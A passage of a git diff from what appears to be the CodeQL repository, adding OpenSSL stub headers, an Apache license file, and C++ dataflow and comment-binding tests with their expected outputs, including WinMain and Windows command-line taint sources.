EVP_PKEY_get_ex_data(const EVP_PKEY * key, int idx) { + return NULL; +} + +void EVP_PKEY_CTX_set_cb(EVP_PKEY_CTX * ctx, EVP_PKEY_gen_cb * cb) ; + + +EVP_PKEY_gen_cb * EVP_PKEY_CTX_get_cb(EVP_PKEY_CTX * ctx) { + return NULL; +} + +int EVP_PKEY_CTX_get_keygen_info(EVP_PKEY_CTX * ctx, int idx) { + return 0; +} + +void EVP_PKEY_meth_set_init(EVP_PKEY_METHOD * pmeth, int (*init)(EVP_PKEY_CTX *)) ; + + +void EVP_PKEY_meth_set_copy(EVP_PKEY_METHOD * pmeth, int (*copy)(EVP_PKEY_CTX *, const EVP_PKEY_CTX *)) ; + + +void EVP_PKEY_meth_set_cleanup(EVP_PKEY_METHOD * pmeth, void (*cleanup)(EVP_PKEY_CTX *)) ; + + +void EVP_PKEY_meth_set_paramgen(EVP_PKEY_METHOD * pmeth, int (*paramgen_init)(EVP_PKEY_CTX *), int (*paramgen)(EVP_PKEY_CTX *, EVP_PKEY *)) ; + + +void EVP_PKEY_meth_set_keygen(EVP_PKEY_METHOD * pmeth, int (*keygen_init)(EVP_PKEY_CTX *), int (*keygen)(EVP_PKEY_CTX *, EVP_PKEY *)) ; + + +void EVP_PKEY_meth_set_sign(EVP_PKEY_METHOD * pmeth, int (*sign_init)(EVP_PKEY_CTX *), int (*sign)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; + + +void EVP_PKEY_meth_set_verify(EVP_PKEY_METHOD * pmeth, int (*verify_init)(EVP_PKEY_CTX *), int (*verify)(EVP_PKEY_CTX *, const unsigned char *, size_t, const unsigned char *, size_t)) ; + + +void EVP_PKEY_meth_set_verify_recover(EVP_PKEY_METHOD * pmeth, int (*verify_recover_init)(EVP_PKEY_CTX *), int (*verify_recover)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; + + +void EVP_PKEY_meth_set_signctx(EVP_PKEY_METHOD * pmeth, int (*signctx_init)(EVP_PKEY_CTX *, EVP_MD_CTX *), int (*signctx)(EVP_PKEY_CTX *, unsigned char *, size_t *, EVP_MD_CTX *)) ; + + +void EVP_PKEY_meth_set_verifyctx(EVP_PKEY_METHOD * pmeth, int (*verifyctx_init)(EVP_PKEY_CTX *, EVP_MD_CTX *), int (*verifyctx)(EVP_PKEY_CTX *, const unsigned char *, int, EVP_MD_CTX *)) ; + + +void EVP_PKEY_meth_set_encrypt(EVP_PKEY_METHOD * pmeth, int (*encrypt_init)(EVP_PKEY_CTX *), int (*encryptfn)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; + + +void EVP_PKEY_meth_set_decrypt(EVP_PKEY_METHOD * pmeth, int (*decrypt_init)(EVP_PKEY_CTX *), int (*decrypt)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; + + +void EVP_PKEY_meth_set_derive(EVP_PKEY_METHOD * pmeth, int (*derive_init)(EVP_PKEY_CTX *), int (*derive)(EVP_PKEY_CTX *, unsigned char *, size_t *)) ; + + +void EVP_PKEY_meth_set_ctrl(EVP_PKEY_METHOD * pmeth, int (*ctrl)(EVP_PKEY_CTX *, int, int, void *), int (*ctrl_str)(EVP_PKEY_CTX *, const char *, const char *)) ; + + +void EVP_PKEY_meth_set_digestsign(EVP_PKEY_METHOD * pmeth, int (*digestsign)(EVP_MD_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; + + +void EVP_PKEY_meth_set_digestverify(EVP_PKEY_METHOD * pmeth, int (*digestverify)(EVP_MD_CTX *, const unsigned char *, size_t, const unsigned char *, size_t)) ; + + +void EVP_PKEY_meth_set_check(EVP_PKEY_METHOD * pmeth, int (*check)(EVP_PKEY *)) ; + + +void EVP_PKEY_meth_set_public_check(EVP_PKEY_METHOD * pmeth, int (*check)(EVP_PKEY *)) ; + + +void EVP_PKEY_meth_set_param_check(EVP_PKEY_METHOD * pmeth, int (*check)(EVP_PKEY *)) ; + + +void EVP_PKEY_meth_set_digest_custom(EVP_PKEY_METHOD * pmeth, int (*digest_custom)(EVP_PKEY_CTX *, EVP_MD_CTX *)) ; + + +void EVP_PKEY_meth_get_init(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *)) ; + + +void EVP_PKEY_meth_get_copy(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *, const EVP_PKEY_CTX *)) ; + + +void EVP_PKEY_meth_get_cleanup(const EVP_PKEY_METHOD * pmeth, void (**)(EVP_PKEY_CTX *)) ; + + +void EVP_PKEY_meth_get_paramgen(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, EVP_PKEY *)) ; + + +void EVP_PKEY_meth_get_keygen(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, EVP_PKEY *)) ; + + +void EVP_PKEY_meth_get_sign(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; + + +void EVP_PKEY_meth_get_verify(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, const unsigned char *, size_t, const unsigned char *, size_t)) ; + + +void EVP_PKEY_meth_get_verify_recover(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; + + +void EVP_PKEY_meth_get_signctx(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *, EVP_MD_CTX *), int (**)(EVP_PKEY_CTX *, unsigned char *, size_t *, EVP_MD_CTX *)) ; + + +void EVP_PKEY_meth_get_verifyctx(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *, EVP_MD_CTX *), int (**)(EVP_PKEY_CTX *, const unsigned char *, int, EVP_MD_CTX *)) ; + + +void EVP_PKEY_meth_get_encrypt(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; + + +void EVP_PKEY_meth_get_decrypt(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)) ; + + +void EVP_PKEY_meth_get_derive(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *), int (**)(EVP_PKEY_CTX *, unsigned char *, size_t *)) ; + + +void EVP_PKEY_meth_get_ctrl(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *, int, int, void *), int (**)(EVP_PKEY_CTX *, const char *, const char *)) ; + + +void EVP_PKEY_meth_get_digestsign(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_MD_CTX *, unsigned char *, size_t *, const unsigned char *, size_t)); + +void EVP_PKEY_meth_get_digestverify(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_MD_CTX *, const unsigned char *, size_t, const unsigned char *, size_t)); + +void EVP_PKEY_meth_get_check(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY *)); + +void EVP_PKEY_meth_get_public_check(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY *)); + +void EVP_PKEY_meth_get_param_check(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY *)); + +void EVP_PKEY_meth_get_digest_custom(const EVP_PKEY_METHOD * pmeth, int (**)(EVP_PKEY_CTX *, EVP_MD_CTX *)); + +void EVP_KEYEXCH_free(EVP_KEYEXCH * exchange) ; + + +int EVP_KEYEXCH_up_ref(EVP_KEYEXCH * exchange) { + return 0; +} + +EVP_KEYEXCH * EVP_KEYEXCH_fetch(OSSL_LIB_CTX * ctx, const char * algorithm, const char * properties) { + return NULL; +} + +OSSL_PROVIDER * EVP_KEYEXCH_get0_provider(const EVP_KEYEXCH * exchange) { + return NULL; +} + +int EVP_KEYEXCH_is_a(const EVP_KEYEXCH * keyexch, const char * name) { + return 0; +} + +const char * EVP_KEYEXCH_get0_name(const EVP_KEYEXCH * keyexch) { + return NULL; +} + +const char * EVP_KEYEXCH_get0_description(const EVP_KEYEXCH * keyexch) { + return NULL; +} + +void EVP_KEYEXCH_do_all_provided(OSSL_LIB_CTX * libctx, void (*fn)(EVP_KEYEXCH *, void *), void * data) ; + + +int EVP_KEYEXCH_names_do_all(const EVP_KEYEXCH * keyexch, void (*fn)(const char *, void *), void * data) { + return 0; +} + +const OSSL_PARAM * EVP_KEYEXCH_gettable_ctx_params(const EVP_KEYEXCH * keyexch) { + return NULL; +} + +const OSSL_PARAM * EVP_KEYEXCH_settable_ctx_params(const EVP_KEYEXCH * keyexch) { + return NULL; +} + +void EVP_add_alg_module(void) ; + + +int EVP_PKEY_CTX_set_group_name(EVP_PKEY_CTX * ctx, const char * name) { + return 0; +} + +int EVP_PKEY_CTX_get_group_name(EVP_PKEY_CTX * ctx, char * name, size_t namelen) { + return 0; +} + +int EVP_PKEY_get_group_name(const EVP_PKEY * pkey, char * name, size_t name_sz, size_t * gname_len) { + return 0; +} + +OSSL_LIB_CTX * EVP_PKEY_CTX_get0_libctx(EVP_PKEY_CTX * ctx) { + return NULL; +} + +const char * EVP_PKEY_CTX_get0_propq(const EVP_PKEY_CTX * ctx) { + return NULL; +} + +const OSSL_PROVIDER * EVP_PKEY_CTX_get0_provider(const EVP_PKEY_CTX * ctx) { + return NULL; +} + +int EVP_SKEY_is_a(const EVP_SKEY * skey, const char * name) { + return 0; +} + +EVP_SKEY * EVP_SKEY_import(OSSL_LIB_CTX * libctx, const char * skeymgmtname, const char * propquery, int selection, const OSSL_PARAM * params) { + return NULL; +} + +EVP_SKEY * EVP_SKEY_generate(OSSL_LIB_CTX * libctx, const char * skeymgmtname, const char * propquery, const OSSL_PARAM * params) { + return NULL; +} + +EVP_SKEY * EVP_SKEY_import_raw_key(OSSL_LIB_CTX * libctx, const char * skeymgmtname, unsigned char * key, size_t keylen, const char * propquery) { + return NULL; +} + +int EVP_SKEY_get0_raw_key(const EVP_SKEY * skey, const unsigned char ** key, size_t * len) { + return 0; +} + +const char * EVP_SKEY_get0_key_id(const EVP_SKEY * skey) { + return NULL; +} + +int EVP_SKEY_export(const EVP_SKEY * skey, int selection, OSSL_CALLBACK * export_cb, void * export_cbarg) { + return 0; +} + +int EVP_SKEY_up_ref(EVP_SKEY * skey) { + return 0; +} + +void EVP_SKEY_free(EVP_SKEY * skey) ; + + +const char * EVP_SKEY_get0_skeymgmt_name(const EVP_SKEY * skey) { + return NULL; +} + +const char * EVP_SKEY_get0_provider_name(const EVP_SKEY * skey) { + return NULL; +} + +EVP_SKEY * EVP_SKEY_to_provider(EVP_SKEY * skey, OSSL_LIB_CTX * libctx, OSSL_PROVIDER * prov, const char * propquery) { + return NULL; +} + +#endif /* OSSL_EVP_H */ diff --git a/cpp/ql/test/experimental/stubs/openssl/license.txt b/cpp/ql/test/experimental/stubs/openssl/license.txt new file mode 100644 index 000000000000..49cc83d2ee29 --- /dev/null +++ b/cpp/ql/test/experimental/stubs/openssl/license.txt @@ -0,0 +1,177 @@ + + Apache License + Version 2.0, January 2004 + https://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS diff --git a/cpp/ql/test/experimental/stubs/openssl/rand_stubs.h b/cpp/ql/test/experimental/stubs/openssl/rand_stubs.h new file mode 100644 index 000000000000..8d9b5c53c9ff --- /dev/null +++ b/cpp/ql/test/experimental/stubs/openssl/rand_stubs.h @@ -0,0 +1,3 @@ +int RAND_bytes(unsigned char *buf, int num); + +int RAND_pseudo_bytes(unsigned char *buf, int num); \ No newline at end of file diff --git a/cpp/ql/test/library-tests/comments/binding/commentBinding.expected b/cpp/ql/test/library-tests/comments/binding/commentBinding.expected index be0290274f06..e2418f7707cf 100644 --- a/cpp/ql/test/library-tests/comments/binding/commentBinding.expected +++ b/cpp/ql/test/library-tests/comments/binding/commentBinding.expected @@ -9,3 +9,6 @@ | multi.c:5:27:5:36 | // Multi 3 | declaration of multi3 | | templates.cpp:3:3:3:8 | // Foo | declaration of foo | | templates.cpp:7:3:7:8 | // Bar | definition of bar | +| templates.cpp:16:3:16:20 | // using T::member | using member | +| templates.cpp:19:3:19:28 | // using T::nested::member | using member | +| templates.cpp:25:3:25:20 | // using T::member | using member | diff --git a/cpp/ql/test/library-tests/comments/binding/templates.cpp b/cpp/ql/test/library-tests/comments/binding/templates.cpp index 2c76db6a915f..83d2947d952f 100644 --- a/cpp/ql/test/library-tests/comments/binding/templates.cpp +++ b/cpp/ql/test/library-tests/comments/binding/templates.cpp @@ -10,3 +10,18 @@ class Cl { } }; + +template +class Derived : public T { + // using T::member + using T::member; + + // using T::nested::member + using T::nested::member; +}; + +template +class Base { + // using T::member + using T::member; +}; \ No newline at end of file diff --git a/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp b/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp index ae7127401440..fc9a4e6be082 100644 --- a/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp +++ b/cpp/ql/test/library-tests/dataflow/asExpr/test.cpp @@ -21,3 +21,20 @@ A& get_ref(); void test2() { take_ref(get_ref()); // $ asExpr="call to get_ref" asIndirectExpr="call to get_ref" } + +struct S { + int a; + int b; +}; + +void test_aggregate_literal() { + S s1 = {1, 2}; // $ asExpr=1 asExpr=2 asExpr={...} + const S s2 = {3, 4}; // $ asExpr=3 asExpr=4 asExpr={...} + S s3 = (S){5, 6}; // $ asExpr=5 asExpr=6 asExpr={...} + const S s4 = (S){7, 8}; // $ asExpr=7 asExpr=8 asExpr={...} + + S s5 = {.a = 1, .b = 2}; // $ asExpr=1 asExpr=2 asExpr={...} + + int xs[] = {1, 2, 3}; // $ asExpr=1 asExpr=2 asExpr=3 asExpr={...} + const int ys[] = {[0] = 4, [1] = 5, [0] = 6}; // $ asExpr=4 asExpr=5 asExpr=6 asExpr={...} +} \ No newline at end of file diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/TestBase.qll b/cpp/ql/test/library-tests/dataflow/dataflow-tests/TestBase.qll index b9213a71549f..e28d19133c75 100644 --- a/cpp/ql/test/library-tests/dataflow/dataflow-tests/TestBase.qll +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/TestBase.qll @@ -124,7 +124,11 @@ module IRTest { /** Common data flow configuration to be used by tests. */ module IRTestAllocationConfig implements DataFlow::ConfigSig { + private import semmle.code.cpp.security.FlowSources + predicate isSource(DataFlow::Node source) { + source instanceof FlowSource + or source.asExpr().(FunctionCall).getTarget().getName() = "source" or source.asIndirectExpr(1).(FunctionCall).getTarget().getName() = "indirect_source" diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected b/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected index 513c23e3c6eb..f41def013155 100644 --- a/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/localFlow-ir.expected @@ -17,7 +17,6 @@ | example.c:17:11:17:16 | *definition of coords | example.c:17:11:17:16 | *definition of coords | | example.c:17:11:17:16 | *definition of coords | example.c:17:11:17:16 | *definition of coords | | example.c:17:11:17:16 | *definition of coords | example.c:24:13:24:18 | *coords | -| example.c:17:11:17:16 | *definition of coords [post update] | example.c:17:11:17:16 | *definition of coords | | example.c:17:11:17:16 | *definition of coords [post update] | example.c:24:13:24:18 | *coords | | example.c:17:11:17:16 | definition of coords | example.c:17:11:17:16 | *definition of coords | | example.c:17:11:17:16 | definition of coords | example.c:17:11:17:16 | definition of coords | @@ -27,6 +26,7 @@ | example.c:17:11:17:16 | definition of coords | example.c:24:13:24:18 | coords | | example.c:17:11:17:16 | definition of coords [post update] | example.c:17:11:17:16 | definition of coords | | example.c:17:11:17:16 | definition of coords [post update] | example.c:24:13:24:18 | coords | +| example.c:17:11:17:16 | {...} | example.c:17:11:17:16 | *definition of coords | | example.c:17:19:17:22 | {...} | example.c:17:19:17:22 | {...} | | example.c:17:21:17:21 | 0 | example.c:17:21:17:21 | 0 | | example.c:19:6:19:6 | *b | example.c:15:37:15:37 | *b | diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/test-source-sink.expected b/cpp/ql/test/library-tests/dataflow/dataflow-tests/test-source-sink.expected index fa141b614ea6..323ce2a43121 100644 --- a/cpp/ql/test/library-tests/dataflow/dataflow-tests/test-source-sink.expected +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/test-source-sink.expected @@ -337,3 +337,4 @@ irFlow | true_upon_entry.cpp:70:11:70:16 | call to source | true_upon_entry.cpp:78:8:78:8 | x | | true_upon_entry.cpp:83:11:83:16 | call to source | true_upon_entry.cpp:86:8:86:8 | x | | true_upon_entry.cpp:98:11:98:16 | call to source | true_upon_entry.cpp:105:8:105:8 | x | +| winmain.cpp:4:57:4:64 | *pCmdLine | winmain.cpp:6:8:6:16 | * ... | diff --git a/cpp/ql/test/library-tests/dataflow/dataflow-tests/winmain.cpp b/cpp/ql/test/library-tests/dataflow/dataflow-tests/winmain.cpp new file mode 100644 index 000000000000..3f267e1e81b2 --- /dev/null +++ b/cpp/ql/test/library-tests/dataflow/dataflow-tests/winmain.cpp @@ -0,0 +1,9 @@ +void sink(char); +void sink(char*); + +int WinMain(void *hInstance, void *hPrevInstance, char *pCmdLine, int nCmdShow) { // $ ast-def=hInstance ast-def=hPrevInstance ast-def=pCmdLine ir-def=*hInstance ir-def=*hPrevInstance ir-def=*pCmdLine + sink(pCmdLine); + sink(*pCmdLine); // $ ir + + return 0; +} diff --git a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected index 3a87f947742b..a4f7767db566 100644 --- a/cpp/ql/test/library-tests/dataflow/external-models/flow.expected +++ b/cpp/ql/test/library-tests/dataflow/external-models/flow.expected @@ -10,14 +10,95 @@ edges | asio_streams.cpp:100:44:100:62 | call to buffer | asio_streams.cpp:103:29:103:39 | *send_buffer | provenance | Sink:MaD:6 | | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:56:18:56:23 | [summary param] *0 in buffer | provenance | | | asio_streams.cpp:100:64:100:71 | *send_str | asio_streams.cpp:100:44:100:62 | call to buffer | provenance | MaD:10 | -| test.cpp:4:5:4:11 | [summary param] 0 in ymlStep | test.cpp:4:5:4:11 | [summary] to write: ReturnValue in ymlStep | provenance | MaD:969 | -| test.cpp:7:10:7:18 | call to ymlSource | test.cpp:7:10:7:18 | call to ymlSource | provenance | Src:MaD:967 | -| test.cpp:7:10:7:18 | call to ymlSource | test.cpp:11:10:11:10 | x | provenance | Sink:MaD:968 | -| test.cpp:7:10:7:18 | call to ymlSource | test.cpp:13:18:13:18 | x | provenance | | -| test.cpp:13:10:13:16 | call to ymlStep | test.cpp:13:10:13:16 | call to ymlStep | provenance | | -| test.cpp:13:10:13:16 | call to ymlStep | test.cpp:15:10:15:10 | y | provenance | Sink:MaD:968 | -| test.cpp:13:18:13:18 | x | test.cpp:4:5:4:11 | [summary param] 0 in ymlStep | provenance | | -| test.cpp:13:18:13:18 | x | test.cpp:13:10:13:16 | call to ymlStep | provenance | MaD:969 | +| test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | test.cpp:4:5:4:17 | [summary] to write: ReturnValue in ymlStepManual | provenance | MaD:23508 | +| test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | test.cpp:5:5:5:20 | [summary] to write: ReturnValue in ymlStepGenerated | provenance | MaD:23509 | +| test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | test.cpp:6:5:6:27 | [summary] to write: ReturnValue in ymlStepManual_with_body | provenance | MaD:23510 | +| test.cpp:7:47:7:52 | value2 | test.cpp:7:64:7:69 | value2 | provenance | | +| test.cpp:7:64:7:69 | value2 | test.cpp:7:5:7:30 | *ymlStepGenerated_with_body | provenance | | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:10:10:10:18 | call to ymlSource | provenance | Src:MaD:23506 | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:14:10:14:10 | x | provenance | Sink:MaD:23507 | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:17:24:17:24 | x | provenance | | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:21:27:21:27 | x | provenance | | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:25:35:25:35 | x | provenance | | +| test.cpp:10:10:10:18 | call to ymlSource | test.cpp:32:41:32:41 | x | provenance | | +| test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | | +| test.cpp:17:10:17:22 | call to ymlStepManual | test.cpp:18:10:18:10 | y | provenance | Sink:MaD:23507 | +| test.cpp:17:24:17:24 | x | test.cpp:4:5:4:17 | [summary param] 0 in ymlStepManual | provenance | | +| test.cpp:17:24:17:24 | x | test.cpp:17:10:17:22 | call to ymlStepManual | provenance | MaD:23508 | +| test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | | +| test.cpp:21:10:21:25 | call to ymlStepGenerated | test.cpp:22:10:22:10 | z | provenance | Sink:MaD:23507 | +| test.cpp:21:27:21:27 | x | test.cpp:5:5:5:20 | [summary param] 0 in ymlStepGenerated | provenance | | +| test.cpp:21:27:21:27 | x | test.cpp:21:10:21:25 | call to ymlStepGenerated | provenance | MaD:23509 | +| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | | +| test.cpp:25:11:25:33 | call to ymlStepManual_with_body | test.cpp:26:10:26:11 | y2 | provenance | Sink:MaD:23507 | +| test.cpp:25:35:25:35 | x | test.cpp:6:5:6:27 | [summary param] 0 in ymlStepManual_with_body | provenance | | +| test.cpp:25:35:25:35 | x | test.cpp:25:11:25:33 | call to ymlStepManual_with_body | provenance | MaD:23510 | +| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | provenance | | +| test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | test.cpp:33:10:33:11 | z2 | provenance | Sink:MaD:23507 | +| test.cpp:32:41:32:41 | x | test.cpp:7:47:7:52 | value2 | provenance | | +| test.cpp:32:41:32:41 | x | test.cpp:32:11:32:36 | call to ymlStepGenerated_with_body | provenance | | +| windows.cpp:17:8:17:25 | [summary param] *0 in CommandLineToArgvA | windows.cpp:17:8:17:25 | [summary] to write: ReturnValue[**] in CommandLineToArgvA | provenance | MaD:341 | +| windows.cpp:22:15:22:29 | *call to GetCommandLineA | windows.cpp:22:15:22:29 | *call to GetCommandLineA | provenance | Src:MaD:325 | +| windows.cpp:22:15:22:29 | *call to GetCommandLineA | windows.cpp:24:8:24:11 | * ... | provenance | | +| windows.cpp:22:15:22:29 | *call to GetCommandLineA | windows.cpp:27:36:27:38 | *cmd | provenance | | +| windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | provenance | | +| windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | windows.cpp:30:8:30:15 | * ... | provenance | | +| windows.cpp:27:36:27:38 | *cmd | windows.cpp:17:8:17:25 | [summary param] *0 in CommandLineToArgvA | provenance | | +| windows.cpp:27:36:27:38 | *cmd | windows.cpp:27:17:27:34 | **call to CommandLineToArgvA | provenance | MaD:341 | +| windows.cpp:34:17:34:38 | *call to GetEnvironmentStringsA | windows.cpp:34:17:34:38 | *call to GetEnvironmentStringsA | provenance | Src:MaD:327 | +| 